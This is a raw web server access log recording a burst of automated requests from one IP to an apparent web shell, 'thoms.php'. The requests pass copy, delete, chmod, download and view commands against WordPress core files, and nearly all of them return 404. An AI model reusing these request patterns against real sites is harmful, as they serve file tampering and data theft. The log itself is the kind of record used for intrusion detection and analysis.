45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=compat.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?chmod=http.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=http.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=pluggable-deprecated.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=pluggable-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=session.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=session.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?del=class-wp-block-bindings-source.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-source.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?del=class-IXR.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-IXR.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?dl=class-wp-http-proxy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-proxy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?chmod=class-wp-network-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?chmod=class-wp-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffeed-atom.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffeed-atom.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:43 -0400] "GET /thoms.php?del=kses.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=kses.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?chmod=pluggable-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=pluggable-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-feed-cache.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-feed-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?chmod=class-wp-user.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?dl=kses.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=kses.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fspeculative-loading.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?dl=style-engine.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=style-engine.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?dl=class-wp-customize-control.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-control.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?del=class-wp-feed-cache-transient.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache-transient.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-matchesmapregex.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?chmod=class-wp-object-cache.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-object-cache.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?del=class-wp-term.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-term.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?del=class-wp-theme-json-data.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-data.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?dl=feed-rss.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-rss.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?chmod=class-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:44 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?chmod=class-wp-editor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-editor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?chmod=ms-settings.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-settings.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcustomize&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcustomize&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-http-requests-hooks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?chmod=sodium_compat&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=sodium_compat&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?chmod=class-wp-image-editor-imagick.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-image-editor-imagick.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-image-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-image-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-user.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?dl=post-formats.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post-formats.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?chmod=ID3&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ID3&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-walker-category-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?chmod=class-wp-customize-nav-menus.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-nav-menus.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?del=class-wp-network-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-network-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:45 -0400] "GET /thoms.php?del=class-wp-xmlrpc-server.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-xmlrpc-server.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /thoms.php?del=class-requests.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-requests.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /thoms.php?chmod=class-wp-customize-manager.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-manager.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /biotaiwan.com.tw/wp-includes/theme-templates.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /thoms.php?del=formatting.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=formatting.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-load.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-load.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /thoms.php?chmod=assets&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=assets&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /thoms.php?dl=class-wp-block-parser.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-site.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /thoms.php?del=ms-files.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-files.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /thoms.php?dl=rewrite.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=rewrite.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /thoms.php?dl=class-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=script-loader.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=script-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /thoms.php?chmod=class-wp-block-parser-block.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-block.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-feed-cache.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /thoms.php?chmod=class-wp-metadata-lazyloader.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-metadata-lazyloader.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:46 -0400] "GET /thoms.php?chmod=class-wp-term-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?dl=error_log&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=error_log&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /biotaiwan.com.tw/wp-includes/php-compat/ HTTP/1.1" 200 794 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?chmod=load.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=load.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
